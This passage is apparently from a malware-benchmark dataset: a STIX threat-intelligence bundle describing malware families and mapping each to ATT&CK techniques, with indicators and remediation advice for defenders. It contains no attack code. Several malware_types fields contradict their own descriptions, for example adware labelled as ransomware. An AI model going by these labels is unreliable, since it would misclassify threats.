      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eyestye",
      "description": "EyeStye (cataloged across security vendors under signatures including PWS:Win32/EyeStye, Trojan:Win32/EyeStye, and Worm:Win32/EyeStye) is a specialized password-stealing trojan and rootkit threat active since 2010. Engineered to compromise online banking accounts, payment portals, and enterprise web applications, EyeStye hooks Windows networking APIs and web browser processes to execute form-grabbing attacks, intercepting sensitive usernames, plaintext passwords, and credit card data before transport encryption occurs. To maintain stealth, EyeStye incorporates kernel-mode and user-mode rootkit modules that conceal its running processes, disk files, and registry entries from standard Windows task monitoring utilities and security software. The malware also includes secondary downloader routines that receive remote commands to update its configuration or download secondary malicious tools such as cryptocurrency clippers and remote access proxies. (Observed samples in benchmark: 84)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PWS:Win32/EyeStye",
        "Trojan:Win32/EyeStye",
        "Worm:Win32/EyeStye",
        "Win32/EyeStye"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eyestye",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eyestye"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98f9b2c6-f50b-5f41-a175-787fd9f46717",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyestye exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c622bbbb-2fb0-5799-a351-fe2d64474a64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyestye exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--febf1560-503d-57c2-bbab-813308cae8a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyestye exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ce2c336-4b27-5eb9-9da6-19f0fbe4ebfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyestye exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aaec7529-331e-5e7c-af1a-d74dd911a201",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--275c3ee2-aea7-5ecb-a9ba-0e72aca04be2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyestye exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eyooun",
      "description": "Adware:Win32/Eyooun is a deceptive adware framework and Potentially Unwanted Program (PUA) that silently infiltrates endpoints, typically bundled with freeware, to inject intrusive advertisements, hijack browser settings, and harvest user search telemetry for affiliate monetization.<br><br><b>What is Eyooun?</b><br>To the average user, Eyooun is highly visible and deeply frustrating. The browser homepage is forcibly changed, default search engines are locked to unfamiliar domains, and standard websites are flooded with injected banner ads or in-text hyperlinks. For security analysts, Eyooun operates on the Pay-Per-Install (PPI) model. It leverages deceptive installation tactics and aggressive persistence mechanisms to ensure the user cannot easily revert their browser settings, guaranteeing continued revenue generation for the attackers.<br><br><b>Infection Vectors & Threat Hunting</b><br>Eyooun is almost exclusively distributed via deceptive software bundlers. When a user downloads a free PDF editor or media player from a third-party site, the Eyooun wrapper executes first. It employs 'Dark Patterns'\u2014pre-checked boxes hidden behind 'Advanced' menus\u2014to gain technical consent. Upon execution, it installs malicious browser extensions (`T1176`) and frequently leverages Windows Group Policy (GPO) settings (`ExtensionInstallForcelist`) to lock the rogue extensions in place. It establishes persistence via Registry Run keys and scheduled tasks.<br><br><b>Forensic Analysis & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic to known ad-tracking networks. EDR logs will show the initial installer attempting to modify browser preference files (e.g., Chrome's `Preferences` JSON file) and establishing unauthorized Group Policies. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eyooun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eyooun"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33e79ddc-3fcf-5fac-9be8-602d739a5c54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyooun exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--804b9842-5e38-5604-9225-701c5fade44d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyooun exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6c0d518-75b6-5e08-bd71-61d14e005a7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyooun exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f94fcc7-8a37-5878-951b-bd593762626d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyooun exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--053ffb27-c925-5947-8df8-06b03d781233",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--058e2e66-796b-58ed-92b9-d51f30266d64",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eyooun exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--057d2532-3833-5fb1-8123-9eb97f83831f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eziriznetreactor",
      "description": "HackTool:MSIL/Eziriznetreactor (often detected as a generic Suspicious or PUA file) refers to the malicious abuse of the legitimate **Eziriz .NET Reactor** software. .NET Reactor is a powerful, commercial code obfuscator and licensing system designed to protect intellectual property in C# and VB.NET applications. However, because it provides exceptional anti-decompilation, string encryption, and control flow obfuscation, it is heavily favored and weaponized by malware authors to hide their malicious .NET payloads (like Agent Tesla, Formbook, or custom RATs) from antivirus engines and reverse engineers.<br><br><b>Understanding .NET Reactor Abuse</b><br>To an end-user, executing a file packed with .NET Reactor looks perfectly normal. For a malware analyst, encountering a malicious payload wrapped in .NET Reactor is incredibly frustrating. The tool is highly effective at scrambling the Microsoft Intermediate Language (MSIL) code, turning readable C# into spaghetti code, hiding API calls, and encrypting embedded resources. EDR systems frequently flag files protected by it heuristically simply because so much malware utilizes it.<br><br><b>Execution and Evasion Mechanics</b><br>The malware author writes their malicious C# code (`T1204.002`). Before distribution, they run the compiled `.exe` through the Eziriz .NET Reactor software. The software packs the binary (`T1027.002`), encrypts all strings (`T1027`), and adds 'Anti-Tampering' and 'Anti-Debugger' modules (`T1622`). When the victim runs the packed file, the .NET Reactor stub executes first, decrypts the original malicious code directly into memory, and executes it without dropping the clear-text payload to disk. Because the on-disk file is heavily obfuscated and uniquely packed, static signature-based detection is rendered almost entirely ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload (which could be anything from a simple credential stealer to ransomware). Host-based IoCs include EDR alerts for 'Suspicious Packed Executable' or the identification of specific .NET Reactor metadata or stub signatures within the binary (e.g., specific randomly generated namespace structures or references to `SecureTeam.Attributes`). Analysts must use advanced .NET deobfuscators (like de4dot) or dynamic debugging (dnSpy) to attempt to unpack the binary in memory to reveal the true payload. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eziriznetreactor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eziriznetreactor"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5eab09c-8ea6-57e4-881a-266bccaf3e31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--057d2532-3833-5fb1-8123-9eb97f83831f",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eziriznetreactor exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (.NET Reactor))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2904f607-3ac0-572d-8ab9-a7a275e053aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--057d2532-3833-5fb1-8123-9eb97f83831f",
      "target_ref": "attack-pattern--c5d8d983-85d0-5f4a-a30a-171e3413444b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eziriznetreactor exhibits technique T1622 (Debugger Evasion (Anti-debugging techniques injected by the packer))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d6bed0d-bf13-504a-8ad6-f332d43bfd1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--057d2532-3833-5fb1-8123-9eb97f83831f",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eziriznetreactor exhibits technique T1129 (Shared Modules (Loading .NET assemblies dynamically))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16478563-6374-5d0c-9760-8be234538199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--057d2532-3833-5fb1-8123-9eb97f83831f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eziriznetreactor exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ezoons",
      "description": "Trojan:Win32/Ezoons is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ezoons</b><br>To an end-user, a Ezoons infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ezoons is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ezoons is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ezoons frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ezoons reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ezoons",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ezoons"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0655309-5332-527d-8764-40d7ba5e0961",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezoons exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9950995c-cfe7-52d3-af95-d7c5c61a1520",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezoons exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e44a63d4-8f8a-59c2-b83c-1eb3625beac0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezoons exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89a04142-2ceb-5339-962f-84b610725b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezoons exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--532c6599-e940-5043-9be1-7dbd8f30d8fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08ba495e-ad1a-52d5-875a-2577a6f871cd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezoons exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5126bae-270f-5426-9b31-5e6f3e4ad7fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ezsearch",
      "description": "<h3>Executive Summary</h3>\nEZSearch is a prevalent browser hijacker and adware program designed to forcibly redirect user search queries to a custom search portal. By hijacking the browser's default search engine and homepage, EZSearch generates illicit advertising revenue and exposes users to potentially malicious web content.\n\n<h3>Behavioral Analysis</h3>\nUnlike sophisticated malware, EZSearch operates primarily within the context of the user's web browser. It is typically distributed via software bundling, where it is silently installed alongside legitimate free applications. \n\nOnce installed, EZSearch immediately alters critical browser preferences across Google Chrome, Mozilla Firefox, and Microsoft Edge. It replaces the default search engine, modifies the homepage, and alters the new tab page to point to the EZSearch portal. The modified search portal often displays manipulated search results heavily biased toward sponsored links, affiliate programs, and low-reputation websites. Furthermore, the hijacker employs persistence mechanisms, such as modifying browser shortcut properties and utilizing malicious extensions, to prevent users from reverting the changes.\n\n<h3>Security and Privacy Risks</h3>\nWhile EZSearch does not typically destroy data, its privacy implications are significant. The hijacker tracks user search terms, browsing history, and click patterns, feeding this telemetry back to its operators. The manipulated search results also dramatically increase the likelihood of users inadvertently downloading actual malware or falling victim to phishing schemes.\n\n<h3>Removal and Prevention</h3>\n<ul>\n<li><strong>Browser Reset:</strong> The most effective immediate remediation is to completely reset the affected browser to its default settings, which clears unauthorized extensions and modified preferences.</li>\n<li><strong>Shortcut Verification:</strong> Inspect browser shortcuts (e.g., on the Desktop or Taskbar) and remove any appended arguments in the 'Target' field that force the browser to open the EZSearch URL.</li>\n<li><strong>User Education:</strong> Train users to carefully review installation prompts when downloading freeware and to always opt for 'Custom' or 'Advanced' installation options to uncheck bundled software.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Hijacker.EZSearch",
        "Adware.EZSearch",
        "BrowserModifier:Win32/EZSearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ezsearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ezsearch"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3af49a02-44de-598e-9837-3d6af5fbab97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5126bae-270f-5426-9b31-5e6f3e4ad7fa",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsearch exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c2338b9-ed7e-5684-92be-c58453b2711c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5126bae-270f-5426-9b31-5e6f3e4ad7fa",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsearch exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb28e2ab-be12-56fd-9263-c6d51cd82db3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5126bae-270f-5426-9b31-5e6f3e4ad7fa",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsearch exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dd9821b8-4617-53f9-a5d9-3bc76a2500b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ezsoftwareupdater",
      "description": "<h3>Executive Summary</h3>\nEZSoftwareUpdater is an aggressive Potentially Unwanted Program (PUP) and Adware application that masquerades as a legitimate system maintenance utility. It deceptive claims to scan the user's computer for outdated software and drivers, but its true purpose is to forcefully serve intrusive advertisements, hijack browser settings, and potentially trick the user into purchasing unnecessary \"premium\" versions of the software.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nEZSoftwareUpdater relies heavily on deceptive software bundling and malvertising. Users frequently encounter it via fake \"Your Flash Player is Outdated\" pop-ups on dubious streaming sites, or it is silently installed alongside other \"free\" utilities downloaded from untrustworthy software portals.\n\nOnce installed, the software employs highly aggressive tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a \"scan\" of the system. It invariably reports that numerous critical software packages are out of date, creating a false sense of urgency (scareware) to prompt the user to \"Fix All Issues,\" which often redirects to a payment portal or downloads further unwanted software.</li>\n<li><strong>Browser Hijacking:</strong> EZSoftwareUpdater frequently installs accompanying browser extensions or modifies system DNS settings to inject advertisements into web pages and redirect search queries to affiliate-monetized search engines.</li>\n<li><strong>Resource Consumption and Telemetry:</strong> The continuous background scanning, pop-up generation, and telemetry gathering (tracking user browsing habits) significantly degrade overall system performance and violate user privacy.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile typically not classified as destructive malware, EZSoftwareUpdater poses a significant threat to user productivity and organizational security posture. The software creates unnecessary IT helpdesk tickets due to system slowdowns and pop-ups. Furthermore, the \"updates\" it attempts to install are often sourced from unverified third-party servers, creating a high risk of introducing actual malware (like banking trojans or ransomware) onto the endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Standard Uninstallation:</strong> The primary remediation step is to locate and uninstall \"EZSoftwareUpdater\" via the standard Windows Control Panel (Programs and Features). However, it often leaves remnants behind.</li>\n<li><strong>Anti-Malware Sweeps:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for PUPs/Adware) to scan for and remove lingering registry keys (e.g., in `HKLM\\Software`) and orphaned scheduled tasks left behind by the uninstaller.</li>\n<li><strong>Browser Reset:</strong> Perform a factory reset of all installed web browsers to ensure any accompanying malicious extensions or hijacked homepages are completely removed.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.Optional.EZSoftwareUpdater",
        "Adware.EZSoftwareUpdater",
        "Win32/PUP"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ezsoftwareupdater",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ezsoftwareupdater"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2572b500-89d0-5a2a-bfce-0df9246783af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd9821b8-4617-53f9-a5d9-3bc76a2500b3",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsoftwareupdater exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0145054e-792c-52d8-b1e4-e4a4280f0d22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd9821b8-4617-53f9-a5d9-3bc76a2500b3",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsoftwareupdater exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11a26390-5a0a-52fa-aaca-8cc3ba35a8b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dd9821b8-4617-53f9-a5d9-3bc76a2500b3",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ezsoftwareupdater exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--905218eb-042c-504c-b178-e73ff8a4e54c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ezula",
      "description": "Adware:Win32/Ezula is a historically significant and highly aggressive Potentially Unwanted Program (PUP) categorized as a Browser Hijacker. Active primarily in the early 2000s, Ezula is infamous for its aggressive 'contextual advertising' technique. It actively parsed the text of legitimate websites the user was visiting and transformed regular, non-hyperlinked words into malicious advertising links, severely degrading the browsing experience.<br><br><b>Understanding Ezula (Browser Hijackers)</b><br>To an end-user, an Ezula infection made the internet almost unusable. Regular text on Wikipedia or news sites would suddenly become double-underlined green links; hovering over them would spawn massive pop-up advertisements. For a security analyst, Ezula represents an early, aggressive form of DOM (Document Object Model) manipulation (`T1185`) and unauthorized browser extension persistence (`T1176`).<br><br><b>Execution and Hijacking Mechanics</b><br>Ezula was distributed primarily through deceptive software bundles, often piggybacking on popular P2P file-sharing software (like Kazaa). Upon execution, it installed a persistent Browser Helper Object (BHO) into Internet Explorer (`T1176`). This BHO intercepted all incoming HTML traffic before it was rendered by the browser. It cross-referenced the text against a downloaded database of keywords, dynamically injecting malicious JavaScript and HTML tags to convert plain text into revenue-generating Pay-Per-Click (PPC) links.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was extreme annoyance and a severely degraded user experience. Host-based IoCs included the presence of the `Ezula` or `TopText` application in the Programs directory, and specific BHO registry keys (e.g., under `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Browser Helper Objects`). Visual IoCs were unmistakable: ordinary words on legitimate websites turning into hyperlinked advertisements. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
